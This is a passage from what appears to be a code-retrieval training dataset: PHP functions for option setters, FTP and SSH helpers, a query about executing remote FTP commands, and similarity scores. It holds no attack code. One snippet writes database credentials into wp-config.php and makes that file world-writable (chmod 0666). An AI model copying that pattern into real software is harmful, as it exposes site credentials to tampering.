);\r\n\r\n\t\t\treturn $settings;\r\n\t\t}", "private function set_upload_option()\n\t{\n\t\t$config = array();\n\t\t$config['upload_path'] = './uploads/users/';\n\t\t$config['allowed_types'] = 'gif|jpg|png';\n\t\t$config['max_size'] = '0';\n\t\t$config['overwrite'] = FALSE;\n\n\t\treturn $config; \n\t}", "static function &creer_ftp(&$liste_option, $user, $passwd, $port = '21', $timeout = 10, $sort_en_erreur = false, $entete = __CLASS__) {\n\t\t$objet = new ftp ( $user, $passwd, $sort_en_erreur, $port, $timeout, $entete );\n\t\t$objet->_initialise ( array (\n\t\t\t\t\"options\" => $liste_option \n\t\t) );\n\t\t\n\t\treturn $objet;\n\t}", "public function process_admin_options() {\n \t\t\tif( isset( $_POST['jigoshop_tgm_custom_gateway_enabled'] ) ) update_option( 'jigoshop_tgm_custom_gateway_enabled', jigowatt_clean( $_POST['jigoshop_tgm_custom_gateway_enabled'] ) ); else @delete_option( 'jigoshop_tgm_custom_gateway_enabled' );\n \t\t\tif( isset( $_POST['jigoshop_tgm_custom_gateway_title'] ) ) update_option( 'jigoshop_tgm_custom_gateway_title', jigowatt_clean( $_POST['jigoshop_tgm_custom_gateway_title'] ) ); else @delete_option( 'jigoshop_tgm_custom_gateway_title' );\n \t\t\tif( isset( $_POST['jigoshop_tgm_custom_gateway_description'] ) ) update_option( 'jigoshop_tgm_custom_gateway_description', \tjigowatt_clean( $_POST['jigoshop_tgm_custom_gateway_description'] ) ); else @delete_option( 'jigoshop_tgm_custom_gateway_description' );\n \t}", "function __construct( $options = array() )\n\t{\n\t\tforeach( $options as $name => $value )\n\t\t{\n\t\t\t$method = 'set'.ucfirst( $name );\n\t\t\tif( is_callable( array( &$this, $method ) ) )\n\t\t\t\t$this->$method( $value );\n\t\t\telse\n\t\t\t\t$this->options[$name] = $value;\n\t\t}\n\t}", "protected function _define_constants() {\n\t\t\tdefine( 'LP_ADDON_STRIPE_ADVANCED_PAYMENT_PATH', dirname( LP_ADDON_STRIPE_ADVANCED_PAYMENT_FILE ) );\n\t\t\tdefine( 'LP_ADDON_STRIPE_ADVANCED_PAYMENT_INC', LP_ADDON_STRIPE_ADVANCED_PAYMENT_PATH . '/inc/' );\n\t\t\tdefine( 'LP_ADDON_STRIPE_ADVANCED_PAYMENT_URL', plugin_dir_url( LP_ADDON_STRIPE_ADVANCED_PAYMENT_FILE ) );\n\t\t\tdefine( 'LP_ADDON_STRIPE_ADVANCED_PAYMENT_TEMPLATE', LP_ADDON_STRIPE_ADVANCED_PAYMENT_PATH . '/templates/' );\n\t\t}", "public function setAllowedFileTypes( $types ) {\r\n\t\t\tif ( $types === false ) {\r\n\t\t\t\t// allow all filetypes\r\n\t\t\t\t$this->AllowedFileTypes = null;\r\n\t\t\t} else {\r\n\t\t\t\t$types = (array)$types;\r\n\t\t\t\tfor( $i = 0, $count = count( $types ); $i < $count; $i++ ) {\r\n\t\t\t\t\t$types[$i] = (string)$types[$i];\r\n\t\t\t\t}\r\n\t\t\t\t$this->AllowedFileTypes = $types;\r\n\t\t\t}\r\n\t\t}", "protected function configure($options = array(), $messages = array())\r\n {\r\n parent::configure($options, $messages);\r\n\r\n $this->setOption('multiple', true);\r\n }", "public function initOptions() {\n parent::initOptions();\n $this->_options->setOpt(\"WTPSI Company ID\",'wtpsicpnyid','text',array('compulsory'=>false), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI XML ID\",'wtpsixmlid','text',array('compulsory'=>false), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI UserName\",'wtpsiusername','text',array('compulsory'=>false), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI Password\",'wtpsixmlpasswd','text',array('compulsory'=>false), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI WTP Login\",'wtpsiwtplogin','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI User Contact\",'wtpsicontactuser','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI Contact Password \",'wtpsicontactpasswd','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI POSNO \",'wtpsiposno','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"Utiliser le login company\",'wtpsiusecpny','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI WSDL \",'wtpsiwsdl','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"WTPSI Add-Ons WSDL \",'wtpsiaddonswsdl','text',array('compulsory'=>true), NULL ,'EPassLibre');\n $this->_options->setOpt(\"VALIDATION des WTP : allproj\",'wtpvalidationallproj','boolean',array('compulsory'=>true), false ,'EPassLibre');\n $this->_options->setOpt(\"VALIDATION des WTP 64 bits\", 'wtp64bits', 'boolean',array('compulsory'=>true), false ,'EPassLibre');\n }", "private function set_upload_options() {\n $config = array();\n $config['upload_path'] = './public/images/news/';\n $config['allowed_types'] = 'gif|jpg|png';\n $config['max_size'] = '0';\n $config['overwrite'] = FALSE;\n\n return $config;\n }", "public function __construct($options)\n {\n foreach($options as $key => $value) {\n if ($value) $this->method = str_replace('-', '_', $key);\n }\n\n $this->filePath = storage_path('app/csv_files/');\n }", "public function setOptions($optionVars);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "public function setOptions(array $options);", "function setMode($mode) {\r\n\t\tif ( ($mode == FTP_ASCII) || ($mode == FTP_BINARY) ) {\r\n\t\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_MODE => $mode));\r\n\t\t\treturn $this;\r\n\t\t} else {\r\n\t\t\tthrow new ftpException('FTP-Mode has either to be FTP_ASCII or FTP_BINARY');\r\n\t\t}\r\n\t}", "public function add(array $constants);", "public function setAllowedTypes(array $types) {\n if (is_array($types)) {\n $this->allowed = $types;\n }\n }", "protected function configurePhp(array $config=null)\n {\n if (!$config) {\n return;\n }\n\n array_walk(\n $config,\n function($value, $key) {\n if ($key === 'timezone') {\n $this->setTimezone($value);\n } else {\n $this->setIniValue($key, $value);\n }\n }\n );\n }", "public function setTokens(array $tokens): void\n {\n $this->tokens = $tokens;\n }", "public function setOptions( /*array*/$Options )// : void\n\t{\n\t\t$this -> options = $Options;\n\t}", "public function setValues(array $values, $caseSensitive = false)\n\t{\n\t\tif (!is_bool($caseSensitive))\n\t\t{\n\t\t\tthrow new InvalidArgumentException('Argument 2 passed to ' . __METHOD__ . ' must be a boolean');\n\t\t}\n\n\t\t// Create a regexp based on the list of allowed values\n\t\t$regexp = RegexpBuilder::fromList($values, ['delimiter' => '/']);\n\t\t$regexp = '/^' . $regexp . '$/D';\n\n\t\t// Add the case-insensitive flag if applicable\n\t\tif (!$caseSensitive)\n\t\t{\n\t\t\t$regexp .= 'i';\n\t\t}\n\n\t\t// Add the Unicode flag if the regexp isn't purely ASCII\n\t\tif (!preg_match('#^[[:ascii:]]*$#D', $regexp))\n\t\t{\n\t\t\t$regexp .= 'u';\n\t\t}\n\n\t\t// Set the regexp associated with this list of values\n\t\t$this->setRegexp($regexp);\n\t}", "private function set_upload_options() {\n $config = array();\n $config['upload_path'] = './valuassets/vendors';\n $config['allowed_types'] = 'gif|jpg|png|jpeg';\n $config['max_size'] = '5000';\n $config['overwrite'] = FALSE;\n return $config;\n }", "public function setOptions($options = []);", "public function __construct () {\n\t\tglobal $_CONSTANTS;\n\t\t$a=array(\"'\");\n\t\t$b=array(\"\");\n\t\tforeach (parse_ini_file(\"settings.ini\") as $key=>$value) { \n\t\t\t${$key} = $value;\n\t\t\tif ($key==\"host\") {\n\t\t\t\tdefine(HOST,'https://' . $value);\n\t\t\t} else { \t\t\t\n\t\t\t\tdefine(strtoupper($key),str_replace($a,$b,$value));\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->host=HOST;\n\t}", "public function setFiles($files)\n {\n if (is_array($files))\n $this->files = collect($files);\n else\n $this->files = $files;\n }", "abstract function options();", "protected function _setOptions(array $options)\n\t{\n\t\tforeach ($options as $key => $value) {\n\t\t\t$callable = array($this, $key);\n\n\t\t\tif (!is_callable($callable)) {\n\t\t\t\t$callable = array($this, 'set' . $key);\n\t\t\t}\n\n\t\t\tif (is_callable($callable)) {\n\t\t\t\tcall_user_func_array($callable, (array)$value);\n\t\t\t}\n\t\t}\n\t}", "public function set_options( array $options ) {\n\t\tself::$private_key = $options['coinpayments_private_key'];\n\t\tself::$public_key = $options['coinpayments_public_key'];\n\t\tself::$api_endpoint = $options['api_endpoint'];\n\t}", "public function setFlags(array $flags): self\n {\n $this->_flags = [];\n foreach ($flags as $f) {\n $this->_flags[$f] = true;\n }\n return $this;\n }", "public function wp_configfile($options) {\n\t\t\n\t\t$filename = 'wp-config.php';\n\n\t\t$content = file_get_contents($filename);\n\n\t\t$content = preg_replace (\"/define\\('DB_NAME', '(.*)'\\);/i\", \"define('DB_NAME', '\".$options['dbname'].\"');\", $content);\n\t\t$content = preg_replace (\"/define\\('DB_USER', '(.*)'\\);/i\", \"define('DB_USER', '\".$options['dbuser'].\"');\", $content);\n\t\t$content = preg_replace (\"/define\\('DB_PASSWORD', '(.*)'\\);/i\", \"define('DB_PASSWORD', '\".$options['dbpassword'].\"');\", $content);\n\t\t$content = preg_replace (\"/define\\('DB_HOST', '(.*)'\\);/i\", \"define('DB_HOST', '\".$options['dbhost'].\"');\", $content);\n\n\t\tfile_put_contents($filename , $content );\n\n\t\t// ajouter une ligne a la ligne -8\n\t\t$methode = \"define('FS_METHOD', 'direct');\\ndefine('WPLANG', 'fr_FR');\\n\";\n\t\t$lines = file($filename);\n\t\t$num_lines = count($lines);\n\n\t\tif ($num_lines > 9) {\n\t\t array_splice($lines, $num_lines - 9, 0, array($methode));\n\t\t file_put_contents($filename, implode('', $lines));\n\t\t} else {\n\t\t file_put_contents($filename, PHP_EOL . $methode, FILE_APPEND);\n\t\t}\n\n\t\tchmod( 'wp-config.php', 0666 );\n\t\tunlink( 'wp-config-sample.php' );\n\n\t\treturn TRUE;\n\t}", "function set_upload_options()\n{\n $config = array();\n $config['upload_path'] = 'uploads/chat';\n $config['allowed_types'] = 'jpeg|jpg|png|doc|pdf|xls|csv|xlsx';\n $config['max_size'] = '10000000';\n $config['overwrite'] = FALSE;\n\n return $config;\n}", "function __construct(array $inOptions = array()) {\r\n\t\t$this->_handle = null;\r\n\t\t$this->getOptionsSet()->setOptions($inOptions);\r\n\t\t$this->_file_extensions = array(\r\n\t\t\t'php' => FTP_ASCII,\r\n\t\t\t'css' => FTP_ASCII,\r\n\t\t\t'js' => FTP_ASCII,\r\n\t\t\t'html' => FTP_ASCII,\r\n\t\t\t'htm' => FTP_ASCII,\r\n\t\t\t'phtml' => FTP_ASCII,\r\n\t\t\t'xml' => FTP_ASCII,\r\n\t\t\t'json' => FTP_ASCII,\r\n\t\t\t\r\n\t\t\t'gif' => FTP_BINARY,\r\n\t\t\t'jpg' => FTP_BINARY,\r\n\t\t\t'jpeg' => FTP_BINARY,\r\n\t\t\t'png' => FTP_BINARY,\r\n\t\t\t'ico' => FTP_BINARY,\r\n\t\t\t'zip' => FTP_BINARY,\r\n\t\t\t'gz' => FTP_BINARY,\r\n\t\t\t'iso' => FTP_BINARY,\r\n\t\t);\r\n\t $this->_ls_match = array(\r\n\t\t\t'unix' => array(\r\n\t\t\t\t'pattern' => '/(?:(d)|.)([rwxts-]{9})\\s+(\\w+)\\s+([\\w\\d-()?.]+)\\s+([\\w\\d-()?.]+)\\s+(\\w+)\\s+(\\S+\\s+\\S+\\s+\\S+)\\s+(.+)/',\r\n\t\t\t\t'map' => array(\r\n\t\t\t\t\t'is_dir' => 1,\r\n\t\t\t\t\t'rights' => 2,\r\n\t\t\t\t\t'files_inside' => 3,\r\n\t\t\t\t\t'user' => 4,\r\n\t\t\t\t\t'group' => 5,\r\n\t\t\t\t\t'size' => 6,\r\n\t\t\t\t\t'date' => 7,\r\n\t\t\t\t\t'name' => 8,\r\n\t\t\t\t)\r\n\t\t\t),\r\n\t\t\t'windows' => array(\r\n\t\t\t\t'pattern' => '/([0-9\\-]+)\\s+([0-9:APM]+)\\s+((<DIR>)|\\d+)\\s+(.+)/',\r\n\t\t\t\t'map' => array(\r\n\t\t\t\t\t'date' => 1,\r\n\t\t\t\t\t'time' => 2,\r\n\t\t\t\t\t'size' => 3,\r\n\t\t\t\t\t'is_dir' => 4,\r\n\t\t\t\t\t'name' => 5,\r\n\t\t\t\t)\r\n\t\t\t)\r\n\t\t);\r\n\t}", "protected function configure($options = array(), $messages = array())\r\n {\r\n $this->addOption('pattern', self::$pattern);\r\n $this->addOption('required', false);\r\n \r\n $this->setMessage('invalid', '\"%value%\" is not an email address.');\r\n }", "private function getExtFlags(): array\n\t{\n\t\treturn config('curl-connection.' . $this->service . '.ext_flags');\n\t}", "public function setFileTypes(array $types)\n {\n // Fix uppercase letters\n foreach ($types as $type) {\n $types[] = strtolower($type);\n }\n // Set the file types\n $this->file_types = $types;\n // Return this object\n return $this;\n }", "private function setModes(){\n\t\t\t\n\t\t\t$this->query_modes = array(\t\"detect\"\t\t\t=> \"Detect\",\n\t\t\t\t\t\t\t\t\t\t\"translate\"\t\t\t=> \"Translate\",\n\t\t\t\t\t\t\t\t\t\t\"languages\"\t\t\t=> \"getLanguagesForTranslations\",\n\t\t\t\t\t\t\t\t\t\t\"translates\"\t\t=> \"GetTranslations\"\n\t\t\t\t\t\t\t\t\t);\n\t\t}", "function setConfigValues( $values )\n\t{\n\t\tif( !is_array( $values ) )\n\t\t\treturn\tfalse;\n\t\tforeach( $values as $path => $value )\n\t\t\t$this->setConfigValue( $path, $value );\n\t}", "public function setAllowedExtensions(array $extensions) {\n \t $this->allowedExtensions = $extensions;\n\t }", "public function __construct($options = array())\n {\n foreach($options as $key => $val)\n {\n switch($key)\n {\n case \"url\":\n $this->apiUrl = $val;\n break;\n case \"key\":\n $this->apiKey = $val;\n break;\n case \"secret\":\n $this->apiSecret = $val;\n break;\n case \"debug\":\n $this->apiDebug = $val;\n break;\n }\n }\n }", "public static function defineLegacyConstants()\n {\n $constants = [\n 'IDLED',\n 'EXPIRED',\n 'WRONG_LOGIN',\n 'METHOD_NOT_SUPPORTED',\n 'SECURITY_BREACH',\n 'CALLBACK_ABORT',\n\n 'LOG_INFO',\n 'LOG_DEBUG',\n\n 'ADV_IP_CHECK',\n 'ADV_USERAGENT',\n 'ADV_CHALLENGE'\n ];\n $class_name = get_called_class();\n foreach ($constants as $name) {\n define('AUTH_' . $name, constant($class_name . '::' . $name));\n }\n }", "public function __construct(array $options = array())\n {\n $available_options = array('cache_dir');\n foreach ($available_options as $name) {\n if (isset($options[$name])) {\n $this->$name = $options[$name];\n }\n }\n }", "public function __construct(array $options = array())\n {\n $available_options = array('cache_dir');\n foreach ($available_options as $name) {\n if (isset($options[$name])) {\n $this->$name = $options[$name];\n }\n }\n }", "public function options($opts)\n {\n $opts->add('v|verbose', 'verbose message');\n $opts->add('path:', 'required option with a value.');\n $opts->add('path?', 'optional option with a value');\n $opts->add('path+', 'multiple value option.');\n }", "public function setConstants($paths)\n {\n define ('HOME', $paths['home']);\n define ('PROJ_PATH',$paths['proj']);\n\n define ('REPO_PATH',$paths['repo']);\n define ('REPO', $this->repo);\n\n define ('SITE_PATH', REPO_PATH . \"/public\");\n\n define ('SITE', $this->site);\n define ('SITE_URL', 'http://' . $this->site);\n define ('PLATFORM',$this->platform);\n define ('DB_INI',$paths['db_ini']);\n\n }", "public function setFiles(Array $files) {\n\t\t$this->apiConfig['files'] = $files;\n\t\treturn $this;\n\t}", "public function updateOptions()\r\n {\r\n if ($_SERVER['REQUEST_METHOD'] !== 'POST')\r\n return;\r\n\r\n update_option('ohs_newsletter_sendgrid_api', $_POST['ohs_newsletter_sendgrid_api']);\r\n update_option('ohs_newsletter_sendgrid_list', $_POST['ohs_newsletter_sendgrid_list']);\r\n update_option('ohs_newsletter_redirect', $_POST['ohs_newsletter_redirect']);\r\n }", "function set_files(&$files){\n $this->_files = $files;\n }", "function initFtp($connection) {\n $wrapper = new FTPWrapper($connection);\n\n /**\n * This factory creates Permissions models from a given permission string (rw-)\n */\n $permFactory = new PermissionsFactory;\n\n /**\n * This factory creates Filesystem models from a given string, ex:\n * drwxr-x--- 3 vincent vincent 4096 Jul 12 12:16 public_ftp\n *\n * It needs the PermissionsFactory so as to instanciate the given permissions in\n * its model\n */\n $fsFactory = new FilesystemFactory($permFactory);\n\n /**\n * If your server runs on WINDOWS, you can use a Windows filesystem factory instead\n */\n // $fsFactory = new WindowsFilesystemFactory;\n\n /**\n * This manager focuses on operations on remote files and directories\n * It needs the FTPWrapper so as to do operations on the serveri\n * It needs the FilesystemFfactory so as to create models\n */\n $manager = new FTPFilesystemManager($wrapper, $fsFactory);\n\n\n /**\n * This is the downloader voter. It loads multiple DownloaderVotable class and\n * checks which one is needed on given options\n */\n $dlVoter = new DownloaderVoter;\n\n /**\n * Loads up default FTP Downloaders\n * It needs the FTPWrapper to be able to share them with the downloaders\n */\n $dlVoter->addDefaultFTPDownloaders($wrapper);\n\n /**\n * This is the uploader voter. It loads multiple UploaderVotable class and\n * checks which one is needed on given options\n */\n $ulVoter = new UploaderVoter;\n\n /**\n * Loads up default FTP Uploaders\n * It needs the FTPWrapper to be able to share them with the uploaders\n */\n $ulVoter->addDefaultFTPUploaders($wrapper);\n\n /**\n * This is the creator voter. It loads multiple CreatorVotable class and\n * checks which one is needed on the given options\n */\n $crVoter = new CreatorVoter;\n\n /**\n * Loads up the default FTP creators.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them whith the creators\n */\n $crVoter->addDefaultFTPCreators($wrapper, $manager);\n\n /**\n * This is the deleter voter. It loads multiple DeleterVotable classes and\n * checks which one is needed on the given options\n */\n $deVoter = new DeleterVoter;\n\n /**\n * Loads up the default FTP deleters.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them with the deleters\n */\n $deVoter->addDefaultFTPDeleters($wrapper, $manager);\n\n /**\n * Finally creates the main FTP\n * It needs the manager to do operations on files\n * It needs the download voter to pick-up the right downloader on ->download\n * It needs the upload voter to pick-up the right uploader on ->upload\n * It needs the creator voter to pick-up the right creator on ->create\n * It needs the deleter voter to pick-up the right deleter on ->delete\n */\n return new FTP($manager, $dlVoter, $ulVoter, $crVoter, $deVoter);\n\n}", "abstract public function setOptions($options = array());", "public function setFields($arrFields);" ]
[ "0.53576994", "0.52050793", "0.52004516", "0.51810527", "0.51401454", "0.5117461", "0.511244", "0.50704044", "0.50387937", "0.50302917", "0.5027874", "0.5024097", "0.49910495", "0.49800253", "0.49769247", "0.49517846", "0.49301857", "0.49199688", "0.49107665", "0.48997912", "0.48950273", "0.4882828", "0.48783854", "0.48783314", "0.4871866", "0.48516923", "0.48488578", "0.48445296", "0.48441643", "0.48403013", "0.48379374", "0.48358217", "0.4834338", "0.48270142", "0.48240465", "0.48216334", "0.48207763", "0.48160702", "0.4801975", "0.4788941", "0.47816637", "0.47816637", "0.4778416", "0.47766867", "0.47757804", "0.47746032", "0.47713947", "0.47711527", "0.4761591", "0.4755234", "0.47533354", "0.47430512", "0.47381845", "0.4736559", "0.47276807", "0.47230962", "0.47202474", "0.47202474", "0.47202474", "0.47202474", "0.47202474", "0.47202474", "0.47202474", "0.47202474", "0.47118336", "0.47098792", "0.47083908", "0.46992463", "0.46979964", "0.46952888", "0.46938345", "0.469329", "0.46895748", "0.46823546", "0.46759683", "0.466652", "0.46637285", "0.4648447", "0.4647352", "0.46394777", "0.46393338", "0.46312082", "0.46277195", "0.46261135", "0.46239585", "0.46188557", "0.46179917", "0.461676", "0.4611515", "0.46106148", "0.46081355", "0.46081355", "0.460693", "0.46056402", "0.45967975", "0.45963076", "0.45849982", "0.4581344", "0.4580234", "0.4579094" ]
0.594486
0
Execute a remote command on the FTP server.
public function execute($command) { if ($this->getActive()) { // Execute command if (ftp_exec($this->_connection, $command)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function execute($command) {\r\n\t\t$res = @ftp_exec($this->_handle, $command);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpExecCommandException($command);\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}", "public function exec($command) {\n\t\t$CODE_RETOUR = false;\n\t\tif ($this->verifie_connexion ())\n\t\t\t$CODE_RETOUR = ftp_exec ( $this->conn_id, $command );\n\t\treturn $CODE_RETOUR;\n\t}", "public function exec_ftp_commande($command) {\n\t\t$CODE_RETOUR = false;\n\t\tif ($this->verifie_connexion ())\n\t\t\t$CODE_RETOUR = ftp_raw ( $this->conn_id, $command );\n\t\treturn $CODE_RETOUR;\n\t}", "protected function exec($command) {\n // connection plugin doesn't give us those codes, so for compatibility\n // with that plugin, we don't either.\n Log::log('LocalServerConn::exec: ' . \"\\n\" . $command, L_DEBUG);\n $result = trim(shell_exec($command));\n Log::log('LocalServerConn::resp: ' . $result, L_DEBUG);\n Log::log('=====================================================================', L_DEBUG);\n\n if (substr($result, 0, 20) == 'sudo: no tty present') {\n throw new Exception(\"The current user does not have sudo permission. Check server config or run from console as root\");\n }\n\n return $result;\n }", "public function execute() {\n\t\t$this->command->execute($this->arguments, $this->flags);\n\t}", "function _connectFTP()\n\t{\n\t\tJoomlapackLogger::WriteLog(_JP_LOG_DEBUG, 'Connecting to remote FTP');\n\t\t// Connect to the FTP server\n\t\tif($this->_usessl)\n\t\t{\n\t\t\tif(function_exists('ftp_ssl_connect'))\n\t\t\t{\n\t\t\t\t$this->_ftphandle = @ftp_ssl_connect($this->_host, $this->_port);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->_ftphandle = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_ftphandle = @ftp_connect($this->_host, $this->_port);\n\t\t}\n\n\t\tif(!is_resource($this->_ftphandle))\n\t\t{\n\t\t\t$this->setError('Could not connect to remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Login\n\t\tif(!@ftp_login($this->_ftphandle, $this->_user, $this->_pass))\n\t\t{\n\t\t\t$this->setError('Invalid username/password for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Change to initial directory\n\t\tif(!@ftp_chdir($this->_ftphandle, $this->_initdir))\n\t\t{\n\t\t\t$this->setError('Invalid initial directory for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_currentdir = $this->_initdir;\n\n\t\t@ftp_pasv($this->_ftphandle, $this->_passive);\n\t\treturn true;\n\t}", "public function exec()\n {\n exec($this->cmd, $this->output, $this->return_value);\n }", "abstract protected function executeCommand();", "function _site($command)\n\t{\n\t\treturn @ftp_site($this->connection, $command);\n\t}", "public function exec($cmd) {\n if(!$this->connection) return(\"No connection\\n\");\n if(!($stream = ssh2_exec($this->connection, $cmd))) {\n die(\"SSH command failed\\n\");\n }\n stream_set_blocking($stream, true);\n $data = \"\";\n while ($buf = fread($stream, 4096)) {\n $data .= $buf;\n }\n fclose($stream);\n return $data;\n }", "public function executeScript($local_file) {\n // connect\n $this->ssh = new Net_SSH2($this->address, $this->port, SSH_TIMEOUT);\n if (!$this->ssh->login($this->login, $this->password)) {\n $msg = 'Login to remote host device failed.' ;\n $this->response->setWs(SSH_ERR_LOGIN_CODE, $msg, true);\n return $this->response;\n }\n\n // connect\n $this->sftp = new Net_SFTP($this->address, $this->port, SSH_TIMEOUT);\n if (!$this->sftp->login($this->login, $this->password)) {\n $msg = 'Login to remote host device failed.';\n $this->response->setWs(SSH_ERR_LOGIN_CODE, $msg, true);\n return $this->response;\n }\n\n // copy file\n if(!$this->sftp->put(MySSH::REMOTE_FILE, $local_file, NET_SFTP_LOCAL_FILE)){\n $msg = 'Copying script to remote file failed.';\n $this->response->setWs(SSH_ERR_COPY_CODE, $msg, true);\n return $this->response;\n }\n\n // get outputs\n $execStr = 'chmod +x '.MySSH::REMOTE_FILE.' && '.\n 'nohup ./'.MySSH::REMOTE_FILE.' >out 2>/dev/null </dev/null';\n $cleanUp ='cat out 2>/dev/null && '.\n 'rm -r out 2>/dev/null &&'.\n 'rm -r '.MySSH::REMOTE_FILE.' 2>/dev/null';\n $scriptOutput = $this->ssh->exec($execStr);\n $exitCode= $this->ssh->getExitStatus();\n $scriptOutput .= $this->ssh->exec($cleanUp);\n //echo \"XXX=\" . $exitCode;\n $this->response->setCmd($scriptOutput, $exitCode);\n\n return $this->response;\n }", "function ftpclient($ftp = null, $cmd = '', $arg = null, $arg2 = null) {\nstatic $conn = null;\n\n\tif ($ftp == null) {\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == '') {\n\t\tif (!$conn) {\n\t\t\t$res = ftpclient($ftp,'connect');\n\t\t\tif ($res) {\n\t\t\t\t$u = ftpclient_value($ftp,'user');\n\t\t\t\tif ($u && !ftpclient($ftp,'login')) {\n\t\t\t\t\tftpclient($ftp,'close');\n\t\t\t\t\t$res = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == 'connect') {\n\t\t$p = ftpclient_value($ftp,'port',21);\n\t\t$t = ftpclient_value($ftp,'timeout',90);\n\t\t$res = ftp_connect($ftp['host'],$p,$t);\n\t\tif ($res) {\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif (!$conn) {\n\t\treturn $conn;\n\t}\n\n\tswitch $cmd {\n\tcase 'quit':\n\tcase 'close':\n\t\t$res = ftp_close($conn);\n\t\t$conn = null;\n\t\tbreak;\n\tcase 'login':\n\t\t$res = ftp_login($conn,$ftp['user'],$ftp['password']);\n\t\tif (!$res && empty($ftp['stay'])) {\n\t\t\tftpclient($ftp,'close');\n\t\t\t$conn = null;\n\t\t}\n\t\tbreak;\n\tcase 'pasv':\n\t\t$p = ftpclient_value($ftp,'pasv',true);\n\t\t$res = ftp_pasv($conn,$p);\n\t\tbreak;\n\tcase 'pwd':\n\t\t$res = ftp_pwd($conn);\n\t\tbreak;\n\tcase 'get':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_get($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase 'put':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_put($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase default:\n\t\t$res = false;\n\t\tbreak;\n\t}\n\n\treturn $res;\n}", "function site($command) {\r\n\t\t$res = @ftp_site($this->_handle, $command);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpSiteCommandException($command);\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}", "function fget($fp, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fget($this->_socket, $fp, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file ...\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function site($command)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_site($this->_socket, $command);\r\n \t} else {\r\n \t $this->putcmd(\"SITE\", $command);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function ftpFiles($id, $archivo, $destino){\r\n\t//die(\"ftpFiles: $id - $archivo - $destino<br />\");\r\n\textract($GLOBALS);\r\n\t$aux = split(\"@\", $destino);\r\n\t$dir_crops = $aux[0] . \"/\";\r\n\t$server = $aux[1];\r\n\t$dir_id = calcularCarpeta($id) . \"/\";\r\n\t$auxFile = pathinfo($archivo);\r\n\t$localFile = $auxFile[\"basename\"];\r\n\t\r\n\tswitch($server){\r\n\t\tcase \"USA\": $dir_final = DIR_WP_USA;break;\t\t\r\n\t\tcase \"241\": $dir_final = DIR_WP_241;\tbreak;\r\n\t}\r\n\t\r\n\t$remoteFilePath = \"$dir_final$dir_crops$dir_id$localFile\";\r\n\tprint \"$dir_crops - $localFile creado!<br />\";\r\n\t//------------------ftp login---------------------------------------------------------------------------------\r\n\t$ftp = new Ftp($servers[$server][0], $servers[$server][1], $servers[$server][2]);\r\n\tif( !$ftp->login() ){\r\n\t\terror(\"No se pudo 